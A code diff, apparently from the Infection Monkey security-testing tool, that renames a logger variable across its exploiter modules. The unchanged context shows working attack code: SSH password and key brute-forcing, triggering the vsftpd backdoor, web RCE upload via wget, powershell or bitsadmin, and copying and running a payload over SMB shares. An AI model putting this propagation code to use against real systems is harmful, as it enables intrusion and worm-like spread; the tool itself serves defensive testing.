LOG = logging.getLogger(__name__)
|
||||
logger = logging.getLogger(__name__)
|
||||
SSH_PORT = 22
|
||||
TRANSFER_UPDATE_RATE = 15
|
||||
|
||||
|
@ -33,7 +33,7 @@ class SSHExploiter(HostExploiter):
|
|||
|
||||
def log_transfer(self, transferred, total):
|
||||
if time.time() - self._update_timestamp > TRANSFER_UPDATE_RATE:
|
||||
LOG.debug("SFTP transferred: %d bytes, total: %d bytes", transferred, total)
|
||||
logger.debug("SFTP transferred: %d bytes, total: %d bytes", transferred, total)
|
||||
self._update_timestamp = time.time()
|
||||
|
||||
def exploit_with_ssh_keys(self, port) -> paramiko.SSHClient:
|
||||
|
@ -49,17 +49,17 @@ class SSHExploiter(HostExploiter):
|
|||
try:
|
||||
pkey = paramiko.RSAKey.from_private_key(pkey)
|
||||
except (IOError, paramiko.SSHException, paramiko.PasswordRequiredException):
|
||||
LOG.error("Failed reading ssh key")
|
||||
logger.error("Failed reading ssh key")
|
||||
try:
|
||||
ssh.connect(self.host.ip_addr, username=user, pkey=pkey, port=port)
|
||||
LOG.debug(
|
||||
logger.debug(
|
||||
"Successfully logged in %s using %s users private key", self.host, ssh_string
|
||||
)
|
||||
self.report_login_attempt(True, user, ssh_key=ssh_string)
|
||||
return ssh
|
||||
except Exception:
|
||||
ssh.close()
|
||||
LOG.debug(
|
||||
logger.debug(
|
||||
"Error logging into victim %r with %s" " private key", self.host, ssh_string
|
||||
)
|
||||
self.report_login_attempt(False, user, ssh_key=ssh_string)
|
||||
|
@ -76,7 +76,7 @@ class SSHExploiter(HostExploiter):
|
|||
try:
|
||||
ssh.connect(self.host.ip_addr, username=user, password=current_password, port=port)
|
||||
|
||||
LOG.debug(
|
||||
logger.debug(
|
||||
"Successfully logged in %r using SSH. User: %s, pass (SHA-512): %s)",
|
||||
self.host,
|
||||
user,
|
||||
|
@ -87,7 +87,7 @@ class SSHExploiter(HostExploiter):
|
|||
return ssh
|
||||
|
||||
except Exception as exc:
|
||||
LOG.debug(
|
||||
logger.debug(
|
||||
"Error logging into victim %r with user"
|
||||
" %s and password (SHA-512) '%s': (%s)",
|
||||
self.host,
|
||||
|
@ -110,7 +110,7 @@ class SSHExploiter(HostExploiter):
|
|||
|
||||
is_open, _ = check_tcp_port(self.host.ip_addr, port)
|
||||
if not is_open:
|
||||
LOG.info("SSH port is closed on %r, skipping", self.host)
|
||||
logger.info("SSH port is closed on %r, skipping", self.host)
|
||||
return False
|
||||
|
||||
try:
|
||||
|
@ -119,7 +119,7 @@ class SSHExploiter(HostExploiter):
|
|||
try:
|
||||
ssh = self.exploit_with_login_creds(port)
|
||||
except FailedExploitationError:
|
||||
LOG.debug("Exploiter SSHExploiter is giving up...")
|
||||
logger.debug("Exploiter SSHExploiter is giving up...")
|
||||
return False
|
||||
|
||||
if not self.host.os.get("type"):
|
||||
|
@ -129,10 +129,10 @@ class SSHExploiter(HostExploiter):
|
|||
if "linux" in uname_os:
|
||||
self.host.os["type"] = "linux"
|
||||
else:
|
||||
LOG.info("SSH Skipping unknown os: %s", uname_os)
|
||||
logger.info("SSH Skipping unknown os: %s", uname_os)
|
||||
return False
|
||||
except Exception as exc:
|
||||
LOG.debug("Error running uname os command on victim %r: (%s)", self.host, exc)
|
||||
logger.debug("Error running uname os command on victim %r: (%s)", self.host, exc)
|
||||
return False
|
||||
|
||||
if not self.host.os.get("machine"):
|
||||
|
@ -142,7 +142,9 @@ class SSHExploiter(HostExploiter):
|
|||
if "" != uname_machine:
|
||||
self.host.os["machine"] = uname_machine
|
||||
except Exception as exc:
|
||||
LOG.debug("Error running uname machine command on victim %r: (%s)", self.host, exc)
|
||||
logger.debug(
|
||||
"Error running uname machine command on victim %r: (%s)", self.host, exc
|
||||
)
|
||||
|
||||
if self.skip_exist:
|
||||
_, stdout, stderr = ssh.exec_command(
|
||||
|
@ -151,7 +153,7 @@ class SSHExploiter(HostExploiter):
|
|||
stdout_res = stdout.read().strip()
|
||||
if stdout_res:
|
||||
# file exists
|
||||
LOG.info(
|
||||
logger.info(
|
||||
"Host %s was already infected under the current configuration, "
|
||||
"done" % self.host
|
||||
)
|
||||
|
@ -160,7 +162,7 @@ class SSHExploiter(HostExploiter):
|
|||
src_path = get_target_monkey(self.host)
|
||||
|
||||
if not src_path:
|
||||
LOG.info("Can't find suitable monkey executable for host %r", self.host)
|
||||
logger.info("Can't find suitable monkey executable for host %r", self.host)
|
||||
return False
|
||||
|
||||
try:
|
||||
|
@ -183,7 +185,7 @@ class SSHExploiter(HostExploiter):
|
|||
).send()
|
||||
ftp.close()
|
||||
except Exception as exc:
|
||||
LOG.debug("Error uploading file into victim %r: (%s)", self.host, exc)
|
||||
logger.debug("Error uploading file into victim %r: (%s)", self.host, exc)
|
||||
status = ScanStatus.SCANNED
|
||||
|
||||
T1105Telem(
|
||||
|
@ -200,7 +202,7 @@ class SSHExploiter(HostExploiter):
|
|||
cmdline += " > /dev/null 2>&1 &"
|
||||
ssh.exec_command(cmdline)
|
||||
|
||||
LOG.info(
|
||||
logger.info(
|
||||
"Executed monkey '%s' on remote victim %r (cmdline=%r)",
|
||||
self._config.dropper_target_path_linux,
|
||||
self.host,
|
||||
|
@ -212,5 +214,5 @@ class SSHExploiter(HostExploiter):
|
|||
return True
|
||||
|
||||
except Exception as exc:
|
||||
LOG.debug("Error running monkey on victim %r: (%s)", self.host, exc)
|
||||
logger.debug("Error running monkey on victim %r: (%s)", self.host, exc)
|
||||
return False
|
||||
|
|
|
@ -13,7 +13,7 @@ import urllib.request
|
|||
|
||||
from infection_monkey.exploit.web_rce import WebRCE
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
DOWNLOAD_TIMEOUT = 300
|
||||
|
||||
|
@ -53,7 +53,7 @@ class Struts2Exploiter(WebRCE):
|
|||
request, context=ssl._create_unverified_context() # noqa: DUO122
|
||||
).geturl()
|
||||
except urllib.error.URLError:
|
||||
LOG.error("Can't reach struts2 server")
|
||||
logger.error("Can't reach struts2 server")
|
||||
return False
|
||||
|
||||
def exploit(self, url, cmd):
|
||||
|
|
|
@ -1,6 +1,6 @@
|
|||
import logging
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
def try_get_target_monkey(host):
|
||||
|
@ -60,7 +60,7 @@ def get_monkey_dest_path(url_to_monkey):
|
|||
from infection_monkey.config import WormConfiguration
|
||||
|
||||
if not url_to_monkey or ("linux" not in url_to_monkey and "windows" not in url_to_monkey):
|
||||
LOG.error("Can't get destination path because source path %s is invalid.", url_to_monkey)
|
||||
logger.error("Can't get destination path because source path %s is invalid.", url_to_monkey)
|
||||
return False
|
||||
try:
|
||||
if "linux" in url_to_monkey:
|
||||
|
@ -70,13 +70,13 @@ def get_monkey_dest_path(url_to_monkey):
|
|||
elif "windows-64" in url_to_monkey:
|
||||
return WormConfiguration.dropper_target_path_win_64
|
||||
else:
|
||||
LOG.error(
|
||||
logger.error(
|
||||
"Could not figure out what type of monkey server was trying to upload, "
|
||||
"thus destination path can not be chosen."
|
||||
)
|
||||
return False
|
||||
except AttributeError:
|
||||
LOG.error(
|
||||
logger.error(
|
||||
"Seems like monkey's source configuration property names changed. "
|
||||
"Can not get destination path to upload monkey"
|
||||
)
|
||||
|
|
|
@ -13,7 +13,7 @@ from infection_monkey.network.info import get_free_tcp_port
|
|||
from infection_monkey.network.tools import get_interface_to_target
|
||||
from infection_monkey.transport import HTTPServer, LockedHTTPServer
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class HTTPTools(object):
|
||||
|
@ -45,7 +45,7 @@ class HTTPTools(object):
|
|||
)
|
||||
if not http_path:
|
||||
raise Exception("Http transfer creation failed.")
|
||||
LOG.info("Started http server on %s", http_path)
|
||||
logger.info("Started http server on %s", http_path)
|
||||
return http_path, http_thread
|
||||
|
||||
@staticmethod
|
||||
|
@ -68,7 +68,7 @@ class HTTPTools(object):
|
|||
local_ip = get_interface_to_target(host.ip_addr)
|
||||
|
||||
if not firewall.listen_allowed():
|
||||
LOG.error("Firewall is not allowed to listen for incomming ports. Aborting")
|
||||
logger.error("Firewall is not allowed to listen for incomming ports. Aborting")
|
||||
return None, None
|
||||
|
||||
httpd = LockedHTTPServer(local_ip, local_port, src_path, lock)
|
||||
|
|
|
@ -1,7 +1,7 @@
|
|||
import logging
|
||||
import textwrap
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class Payload(object):
|
||||
|
|
|
@ -13,7 +13,7 @@ from infection_monkey.config import Configuration
|
|||
from infection_monkey.network.tools import get_interface_to_target
|
||||
from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class SmbTools(object):
|
||||
|
@ -33,7 +33,7 @@ class SmbTools(object):
|
|||
|
||||
# skip guest users
|
||||
if smb.isGuestSession() > 0:
|
||||
LOG.debug(
|
||||
logger.debug(
|
||||
"Connection to %r granted guest privileges with user: %s, password (SHA-512): "
|
||||
"'%s',"
|
||||
" LM hash (SHA-512): %s, NTLM hash (SHA-512): %s",
|
||||
|
@ -54,7 +54,7 @@ class SmbTools(object):
|
|||
try:
|
||||
resp = SmbTools.execute_rpc_call(smb, "hNetrServerGetInfo", 102)
|
||||
except Exception as exc:
|
||||
LOG.debug("Error requesting server info from %r over SMB: %s", host, exc)
|
||||
logger.debug("Error requesting server info from %r over SMB: %s", host, exc)
|
||||
return None
|
||||
|
||||
info = {
|
||||
|
@ -66,12 +66,12 @@ class SmbTools(object):
|
|||
"simultaneous_users": resp["InfoStruct"]["ServerInfo102"]["sv102_users"],
|
||||
}
|
||||
|
||||
LOG.debug("Connected to %r using %s:\n%s", host, dialect, pprint.pformat(info))
|
||||
logger.debug("Connected to %r using %s:\n%s", host, dialect, pprint.pformat(info))
|
||||
|
||||
try:
|
||||
resp = SmbTools.execute_rpc_call(smb, "hNetrShareEnum", 2)
|
||||
except Exception as exc:
|
||||
LOG.debug("Error enumerating server shares from %r over SMB: %s", host, exc)
|
||||
logger.debug("Error enumerating server shares from %r over SMB: %s", host, exc)
|
||||
return None
|
||||
|
||||
resp = resp["InfoStruct"]["ShareInfo"]["Level2"]["Buffer"]
|
||||
|
@ -87,14 +87,14 @@ class SmbTools(object):
|
|||
max_uses = resp[i]["shi2_max_uses"]
|
||||
|
||||
if current_uses >= max_uses:
|
||||
LOG.debug(
|
||||
logger.debug(
|
||||
"Skipping share '%s' on victim %r because max uses is exceeded",
|
||||
share_name,
|
||||
host,
|
||||
)
|
||||
continue
|
||||
elif not share_path:
|
||||
LOG.debug(
|
||||
logger.debug(
|
||||
"Skipping share '%s' on victim %r because share path is invalid",
|
||||
share_name,
|
||||
host,
|
||||
|
@ -125,12 +125,12 @@ class SmbTools(object):
|
|||
try:
|
||||
smb.connectTree(share_name)
|
||||
except Exception as exc:
|
||||
LOG.debug(
|
||||
logger.debug(
|
||||
"Error connecting tree to share '%s' on victim %r: %s", share_name, host, exc
|
||||
)
|
||||
continue
|
||||
|
||||
LOG.debug(
|
||||
logger.debug(
|
||||
"Trying to copy monkey file to share '%s' [%s + %s] on victim %r",
|
||||
share_name,
|
||||
share_path,
|
||||
|
@ -146,10 +146,10 @@ class SmbTools(object):
|
|||
file_info = smb.listPath(share_name, remote_path)
|
||||
if file_info:
|
||||
if src_file_size == file_info[0].get_filesize():
|
||||
LOG.debug("Remote monkey file is same as source, skipping copy")
|
||||
logger.debug("Remote monkey file is same as source, skipping copy")
|
||||
return remote_full_path
|
||||
|
||||
LOG.debug(
|
||||
logger.debug(
|
||||
"Remote monkey file is found but different, moving along with " "attack"
|
||||
)
|
||||
except Exception:
|
||||
|
@ -165,7 +165,7 @@ class SmbTools(object):
|
|||
T1105Telem(
|
||||
ScanStatus.USED, get_interface_to_target(host.ip_addr), host.ip_addr, dst_path
|
||||
).send()
|
||||
LOG.info(
|
||||
logger.info(
|
||||
"Copied monkey file '%s' to remote share '%s' [%s] on victim %r",
|
||||
src_path,
|
||||
share_name,
|
||||
|
@ -175,7 +175,7 @@ class SmbTools(object):
|
|||
|
||||
break
|
||||
except Exception as exc:
|
||||
LOG.debug(
|
||||
logger.debug(
|
||||
"Error uploading monkey to share '%s' on victim %r: %s", share_name, host, exc
|
||||
)
|
||||
T1105Telem(
|
||||
|
@ -194,7 +194,7 @@ class SmbTools(object):
|
|||
smb = None
|
||||
|
||||
if not file_uploaded:
|
||||
LOG.debug(
|
||||
logger.debug(
|
||||
"Couldn't find a writable share for exploiting victim %r with "
|
||||
"username: %s, password (SHA-512): '%s', LM hash (SHA-512): %s, NTLM hash ("
|
||||
"SHA-512): %s",
|
||||
|
@ -213,12 +213,14 @@ class SmbTools(object):
|
|||
try:
|
||||
smb = SMBConnection(host.ip_addr, host.ip_addr, sess_port=445)
|
||||
except Exception as exc:
|
||||
LOG.debug("SMB connection to %r on port 445 failed," " trying port 139 (%s)", host, exc)
|
||||
logger.debug(
|
||||
"SMB connection to %r on port 445 failed," " trying port 139 (%s)", host, exc
|
||||
)
|
||||
|
||||
try:
|
||||
smb = SMBConnection("*SMBSERVER", host.ip_addr, sess_port=139)
|
||||
except Exception as exc:
|
||||
LOG.debug("SMB connection to %r on port 139 failed as well (%s)", host, exc)
|
||||
logger.debug("SMB connection to %r on port 139 failed as well (%s)", host, exc)
|
||||
return None, None
|
||||
|
||||
dialect = {
|
||||
|
@ -231,7 +233,7 @@ class SmbTools(object):
|
|||
try:
|
||||
smb.login(username, password, "", lm_hash, ntlm_hash)
|
||||
except Exception as exc:
|
||||
LOG.debug(
|
||||
logger.debug(
|
||||
"Error while logging into %r using user: %s, password (SHA-512): '%s', "
|
||||
"LM hash (SHA-512): %s, NTLM hash (SHA-512): %s: %s",
|
||||
host,
|
||||
|
|
|
@ -5,7 +5,7 @@ from impacket.dcerpc.v5.dcom.wmi import DCERPCSessionError
|
|||
from impacket.dcerpc.v5.dcomrt import DCOMConnection
|
||||
from impacket.dcerpc.v5.dtypes import NULL
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class AccessDeniedException(Exception):
|
||||
|
@ -119,7 +119,7 @@ class WmiTools(object):
|
|||
if where:
|
||||
wql_query += " WHERE %s" % (where,)
|
||||
|
||||
LOG.debug("Execution WQL query: %r", wql_query)
|
||||
logger.debug("Execution WQL query: %r", wql_query)
|
||||
|
||||
iEnumWbemClassObject = wmi_connection._iWbemServices.ExecQuery(wql_query)
|
||||
|
||||
|
|
|
@ -23,7 +23,7 @@ from infection_monkey.model import (
|
|||
from infection_monkey.telemetry.attack.t1222_telem import T1222Telem
|
||||
from infection_monkey.utils.commands import build_monkey_commandline
|
||||
|
||||
LOG = getLogger(__name__)
|
||||
logger = getLogger(__name__)
|
||||
|
||||
|
||||
FTP_PORT = 21 # port at which vsftpd runs
|
||||
|
@ -51,7 +51,7 @@ class VSFTPDExploiter(HostExploiter):
|
|||
s.connect((ip_addr, port))
|
||||
return True
|
||||
except socket.error as e:
|
||||
LOG.info("Failed to connect to %s: %s", self.host.ip_addr, str(e))
|
||||
logger.info("Failed to connect to %s: %s", self.host.ip_addr, str(e))
|
||||
return False
|
||||
|
||||
def socket_send_recv(self, s, message):
|
||||
|
@ -59,7 +59,7 @@ class VSFTPDExploiter(HostExploiter):
|
|||
s.send(message)
|
||||
return s.recv(RECV_128).decode("utf-8")
|
||||
except socket.error as e:
|
||||
LOG.info("Failed to send payload to %s: %s", self.host.ip_addr, str(e))
|
||||
logger.info("Failed to send payload to %s: %s", self.host.ip_addr, str(e))
|
||||
return False
|
||||
|
||||
def socket_send(self, s, message):
|
||||
|
@ -67,11 +67,11 @@ class VSFTPDExploiter(HostExploiter):
|
|||
s.send(message)
|
||||
return True
|
||||
except socket.error as e:
|
||||
LOG.info("Failed to send payload to %s: %s", self.host.ip_addr, str(e))
|
||||
logger.info("Failed to send payload to %s: %s", self.host.ip_addr, str(e))
|
||||
return False
|
||||
|
||||
def _exploit_host(self):
|
||||
LOG.info("Attempting to trigger the Backdoor..")
|
||||
logger.info("Attempting to trigger the Backdoor..")
|
||||
ftp_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
|
||||
if self.socket_connect(ftp_socket, self.host.ip_addr, FTP_PORT):
|
||||
|
@ -81,50 +81,50 @@ class VSFTPDExploiter(HostExploiter):
|
|||
time.sleep(FTP_TIME_BUFFER)
|
||||
self.socket_send(ftp_socket, PASSWORD + b"\n")
|
||||
ftp_socket.close()
|
||||
LOG.info("Backdoor Enabled, Now we can run commands")
|
||||
logger.info("Backdoor Enabled, Now we can run commands")
|
||||
else:
|
||||
LOG.error("Failed to trigger backdoor on %s", self.host.ip_addr)
|
||||
logger.error("Failed to trigger backdoor on %s", self.host.ip_addr)
|
||||
return False
|
||||
|
||||
LOG.info("Attempting to connect to backdoor...")
|
||||
logger.info("Attempting to connect to backdoor...")
|
||||
backdoor_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
|
||||
if self.socket_connect(backdoor_socket, self.host.ip_addr, BACKDOOR_PORT):
|
||||
LOG.info("Connected to backdoor on %s:6200", self.host.ip_addr)
|
||||
logger.info("Connected to backdoor on %s:6200", self.host.ip_addr)
|
||||
|
||||
uname_m = str.encode(UNAME_M + "\n")
|
||||
response = self.socket_send_recv(backdoor_socket, uname_m)
|
||||
|
||||
if response:
|
||||
LOG.info("Response for uname -m: %s", response)
|
||||
logger.info("Response for uname -m: %s", response)
|
||||
if "" != response.lower().strip():
|
||||
# command execution is successful
|
||||
self.host.os["machine"] = response.lower().strip()
|
||||
self.host.os["type"] = "linux"
|
||||
else:
|
||||
LOG.info("Failed to execute command uname -m on victim %r ", self.host)
|
||||
logger.info("Failed to execute command uname -m on victim %r ", self.host)
|
||||
|
||||
src_path = get_target_monkey(self.host)
|
||||
LOG.info("src for suitable monkey executable for host %r is %s", self.host, src_path)
|
||||
logger.info("src for suitable monkey executable for host %r is %s", self.host, src_path)
|
||||
|
||||
if not src_path:
|
||||
LOG.info("Can't find suitable monkey executable for host %r", self.host)
|
||||
logger.info("Can't find suitable monkey executable for host %r", self.host)
|
||||
return False
|
||||
|
||||
# Create a http server to host the monkey
|
||||
http_path, http_thread = HTTPTools.create_locked_transfer(self.host, src_path)
|
||||
dropper_target_path_linux = self._config.dropper_target_path_linux
|
||||
LOG.info("Download link for monkey is %s", http_path)
|
||||
logger.info("Download link for monkey is %s", http_path)
|
||||
|
||||
# Upload the monkey to the machine
|
||||
monkey_path = dropper_target_path_linux
|
||||
download_command = WGET_HTTP_UPLOAD % {"monkey_path": monkey_path, "http_path": http_path}
|
||||
download_command = str.encode(str(download_command) + "\n")
|
||||
LOG.info("Download command is %s", download_command)
|
||||
logger.info("Download command is %s", download_command)
|
||||
if self.socket_send(backdoor_socket, download_command):
|
||||
LOG.info("Monkey is now Downloaded ")
|
||||
logger.info("Monkey is now Downloaded ")
|
||||
else:
|
||||
LOG.error("Failed to download monkey at %s", self.host.ip_addr)
|
||||
logger.error("Failed to download monkey at %s", self.host.ip_addr)
|
||||
return False
|
||||
|
||||
http_thread.join(DOWNLOAD_TIMEOUT)
|
||||
|
@ -133,7 +133,7 @@ class VSFTPDExploiter(HostExploiter):
|
|||
# Change permissions
|
||||
change_permission = CHMOD_MONKEY % {"monkey_path": monkey_path}
|
||||
change_permission = str.encode(str(change_permission) + "\n")
|
||||
LOG.info("change_permission command is %s", change_permission)
|
||||
logger.info("change_permission command is %s", change_permission)
|
||||
backdoor_socket.send(change_permission)
|
||||
T1222Telem(ScanStatus.USED, change_permission.decode(), self.host).send()
|
||||
|
||||
|
@ -154,7 +154,7 @@ class VSFTPDExploiter(HostExploiter):
|
|||
run_monkey = str.encode(str(run_monkey) + "\n")
|
||||
time.sleep(FTP_TIME_BUFFER)
|
||||
if backdoor_socket.send(run_monkey):
|
||||
LOG.info(
|
||||
logger.info(
|
||||
"Executed monkey '%s' on remote victim %r (cmdline=%r)",
|
||||
self._config.dropper_target_path_linux,
|
||||
self.host,
|
||||
|
|
|
@ -27,7 +27,7 @@ from infection_monkey.telemetry.attack.t1197_telem import T1197Telem
|
|||
from infection_monkey.telemetry.attack.t1222_telem import T1222Telem
|
||||
from infection_monkey.utils.commands import build_monkey_commandline
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
logger = logging.getLogger(__name__)
|
||||
# Command used to check if monkeys already exists
|
||||
LOOK_FOR_FILE = "ls %s"
|
||||
POWERSHELL_NOT_FOUND = "powershell is not recognized"
|
||||
|
@ -114,7 +114,7 @@ class WebRCE(HostExploiter):
|
|||
and self.skip_exist
|
||||
and self.check_remote_files(self.target_url)
|
||||
):
|
||||
LOG.info(
|
||||
logger.info(
|
||||
"Host %s was already infected under the current configuration, done" % self.host
|
||||
)
|
||||
return True
|
||||
|
@ -190,7 +190,7 @@ class WebRCE(HostExploiter):
|
|||
# Format command
|
||||
command = command % {"monkey_path": path, "http_path": http_path}
|
||||
except KeyError:
|
||||
LOG.error(
|
||||
logger.error(
|
||||
"Provided command is missing/bad for this type of host! "
|
||||
"Check upload_monkey function docs before using custom monkey's upload "
|
||||
"commands."
|
||||
|
@ -213,7 +213,7 @@ class WebRCE(HostExploiter):
|
|||
else:
|
||||
return False
|
||||
except Exception as e:
|
||||
LOG.error("Host's exploitability check failed due to: %s" % e)
|
||||
logger.error("Host's exploitability check failed due to: %s" % e)
|
||||
return False
|
||||
|
||||
def build_potential_urls(self, ports, extensions=None):
|
||||
|
@ -241,7 +241,7 @@ class WebRCE(HostExploiter):
|
|||
join(("%s://%s:%s" % (protocol, self.host.ip_addr, port[0])), extension)
|
||||
)
|
||||
if not url_list:
|
||||
LOG.info("No attack url's were built")
|
||||
logger.info("No attack url's were built")
|
||||
return url_list
|
||||
|
||||
def add_vulnerable_urls(self, urls, stop_checking=False):
|
||||
|
@ -259,7 +259,7 @@ class WebRCE(HostExploiter):
|
|||
if stop_checking:
|
||||
break
|
||||
if not self.vulnerable_urls:
|
||||
LOG.info("No vulnerable urls found, skipping.")
|
||||
logger.info("No vulnerable urls found, skipping.")
|
||||
|
||||
def get_host_arch(self, url):
|
||||
"""
|
||||
|
@ -274,12 +274,12 @@ class WebRCE(HostExploiter):
|
|||
try:
|
||||
arch = arch.group(1)
|
||||
except AttributeError:
|
||||
LOG.error("Looked for linux architecture but could not find it")
|
||||
logger.error("Looked for linux architecture but could not find it")
|
||||
return False
|
||||
if arch:
|
||||
return arch
|
||||
else:
|
||||
LOG.info("Could not pull machine architecture string from command's output")
|
||||
logger.info("Could not pull machine architecture string from command's output")
|
||||
return False
|
||||
else:
|
||||
return False
|
||||
|
@ -299,7 +299,7 @@ class WebRCE(HostExploiter):
|
|||
if "No such file" in resp:
|
||||
return False
|
||||
else:
|
||||
LOG.info(
|
||||
logger.info(
|
||||
"Host %s was already infected under the current configuration, done"
|
||||
% str(self.host)
|
||||
)
|
||||
|
@ -331,7 +331,7 @@ class WebRCE(HostExploiter):
|
|||
"""
|
||||
ports = self.get_open_service_ports(ports, names)
|
||||
if not ports:
|
||||
LOG.info("All default web ports are closed on %r, skipping", str(self.host))
|
||||
logger.info("All default web ports are closed on %r, skipping", str(self.host))
|
||||
return False
|
||||
else:
|
||||
return ports
|
||||
|
@ -339,7 +339,7 @@ class WebRCE(HostExploiter):
|
|||
def set_host_arch(self, url):
|
||||
arch = self.get_host_arch(url)
|
||||
if not arch:
|
||||
LOG.error("Couldn't get host machine's architecture")
|
||||
logger.error("Couldn't get host machine's architecture")
|
||||
return False
|
||||
else:
|
||||
self.host.os["machine"] = arch
|
||||
|
@ -356,7 +356,7 @@ class WebRCE(HostExploiter):
|
|||
:return: Command's response (same response if backup command is not needed)
|
||||
"""
|
||||
if not isinstance(resp, bool) and POWERSHELL_NOT_FOUND in resp:
|
||||
LOG.info("Powershell not found in host. Using bitsadmin to download.")
|
||||
logger.info("Powershell not found in host. Using bitsadmin to download.")
|
||||
backup_command = BITSADMIN_CMDLINE_HTTP % {
|
||||
"monkey_path": dest_path,
|
||||
"http_path": http_path,
|
||||
|
@ -373,9 +373,9 @@ class WebRCE(HostExploiter):
|
|||
Command must have "monkey_path" and "http_path" format parameters.
|
||||
:return: {'response': response/False, 'path': monkeys_path_in_host}
|
||||
"""
|
||||
LOG.info("Trying to upload monkey to the host.")
|
||||
logger.info("Trying to upload monkey to the host.")
|
||||
if not self.host.os["type"]:
|
||||
LOG.error("Unknown target's os type. Skipping.")
|
||||
logger.error("Unknown target's os type. Skipping.")
|
||||
return False
|
||||
paths = self.get_monkey_paths()
|
||||
if not paths:
|
||||
|
@ -383,9 +383,9 @@ class WebRCE(HostExploiter):
|
|||
# Create server for http download and wait for it's startup.
|
||||
http_path, http_thread = HTTPTools.create_locked_transfer(self.host, paths["src_path"])
|
||||
if not http_path:
|
||||
LOG.debug("Exploiter failed, http transfer creation failed.")
|
||||
logger.debug("Exploiter failed, http transfer creation failed.")
|
||||
return False
|
||||
LOG.info("Started http server on %s", http_path)
|
||||
logger.info("Started http server on %s", http_path)
|
||||
# Choose command:
|
||||
if not commands:
|
||||
commands = {"windows": POWERSHELL_HTTP_UPLOAD, "linux": WGET_HTTP_UPLOAD}
|
||||
|
@ -396,7 +396,7 @@ class WebRCE(HostExploiter):
|
|||
|
||||
http_thread.join(DOWNLOAD_TIMEOUT)
|
||||
http_thread.stop()
|
||||
LOG.info("Uploading process finished")
|
||||
logger.info("Uploading process finished")
|
||||
# If response is false exploiter failed
|
||||
if resp is False:
|
||||
return resp
|
||||
|
@ -411,9 +411,9 @@ class WebRCE(HostExploiter):
|
|||
:param command: Formatted command for permission change or None
|
||||
:return: response, False if failed and True if permission change is not needed
|
||||
"""
|
||||
LOG.info("Changing monkey's permissions")
|
||||
logger.info("Changing monkey's permissions")
|
||||
if "windows" in self.host.os["type"]:
|
||||
LOG.info("Permission change not required for windows")
|
||||
logger.info("Permission change not required for windows")
|
||||
return True
|
||||
if not command:
|
||||
command = CHMOD_MONKEY % {"monkey_path": path}
|
||||
|
@ -421,23 +421,23 @@ class WebRCE(HostExploiter):
|
|||
resp = self.exploit(url, command)
|
||||
T1222Telem(ScanStatus.USED, command, self.host).send()
|
||||
except Exception as e:
|
||||
LOG.error("Something went wrong while trying to change permission: %s" % e)
|
||||
logger.error("Something went wrong while trying to change permission: %s" % e)
|
||||
T1222Telem(ScanStatus.SCANNED, "", self.host).send()
|
||||
return False
|
||||
# If exploiter returns True / False
|
||||
if isinstance(resp, bool):
|
||||
LOG.info("Permission change finished")
|
||||
logger.info("Permission change finished")
|
||||
return resp
|
||||
# If exploiter returns command output, we can check for execution errors
|
||||
if "Operation not permitted" in resp:
|
||||
LOG.error("Missing permissions to make monkey executable")
|
||||
logger.error("Missing permissions to make monkey executable")
|
||||
return False
|
||||
elif "No such file or directory" in resp:
|
||||
LOG.error(
|
||||
logger.error(
|
||||
"Could not change permission because monkey was not found. Check path " "parameter."
|
||||
)
|
||||
return False
|
||||
LOG.info("Permission change finished")
|
||||
logger.info("Permission change finished")
|
||||
return resp
|
||||
|
||||
def execute_remote_monkey(self, url, path, dropper=False):
|
||||
|
@ -448,7 +448,7 @@ class WebRCE(HostExploiter):
|
|||
:param dropper: Should remote monkey be executed with dropper or with monkey arg?
|
||||
:return: Response or False if failed
|
||||
"""
|
||||
LOG.info("Trying to execute remote monkey")
|
||||
logger.info("Trying to execute remote monkey")
|
||||
# Get monkey command line
|
||||
if dropper and path:
|
||||
# If dropper is chosen we try to move monkey to default location
|
||||
|
@ -473,24 +473,24 @@ class WebRCE(HostExploiter):
|
|||
"parameters": monkey_cmd,
|
||||
}
|
||||
try:
|
||||
LOG.info("Trying to execute monkey using command: {}".format(command))
|
||||
logger.info("Trying to execute monkey using command: {}".format(command))
|
||||
resp = self.exploit(url, command)
|
||||
# If exploiter returns True / False
|
||||
if isinstance(resp, bool):
|
||||
LOG.info("Execution attempt successfully finished")
|
||||
logger.info("Execution attempt successfully finished")
|
||||
self.add_executed_cmd(command)
|
||||
return resp
|
||||
# If exploiter returns command output, we can check for execution errors
|
||||
if "is not recognized" in resp or "command not found" in resp:
|
||||
LOG.error("Wrong path chosen or other process already deleted monkey")
|
||||
logger.error("Wrong path chosen or other process already deleted monkey")
|
||||
return False
|
||||
elif "The system cannot execute" in resp:
|
||||
LOG.error("System could not execute monkey")
|
||||
logger.error("System could not execute monkey")
|
||||
return False
|
||||
except Exception as e:
|
||||
LOG.error("Something went wrong when trying to execute remote monkey: %s" % e)
|
||||
logger.error("Something went wrong when trying to execute remote monkey: %s" % e)
|
||||
return False
|
||||
LOG.info("Execution attempt finished")
|
||||
logger.info("Execution attempt finished")
|
||||
|
||||
self.add_executed_cmd(command)
|
||||
return resp
|
||||
|
@ -503,7 +503,7 @@ class WebRCE(HostExploiter):
|
|||
:return: Corresponding monkey path from self.monkey_target_paths
|
||||
"""
|
||||
if not url_to_monkey or ("linux" not in url_to_monkey and "windows" not in url_to_monkey):
|
||||
LOG.error(
|
||||
logger.error(
|
||||
"Can't get destination path because source path %s is invalid.", url_to_monkey
|
||||
)
|
||||
return False
|
||||
|
@ -515,13 +515,13 @@ class WebRCE(HostExploiter):
|
|||
elif "windows-64" in url_to_monkey:
|
||||
return self.monkey_target_paths["win64"]
|
||||
else:
|
||||
LOG.error(
|
||||
logger.error(
|
||||
"Could not figure out what type of monkey server was trying to upload, "
|
||||
"thus destination path can not be chosen."
|
||||
)
|
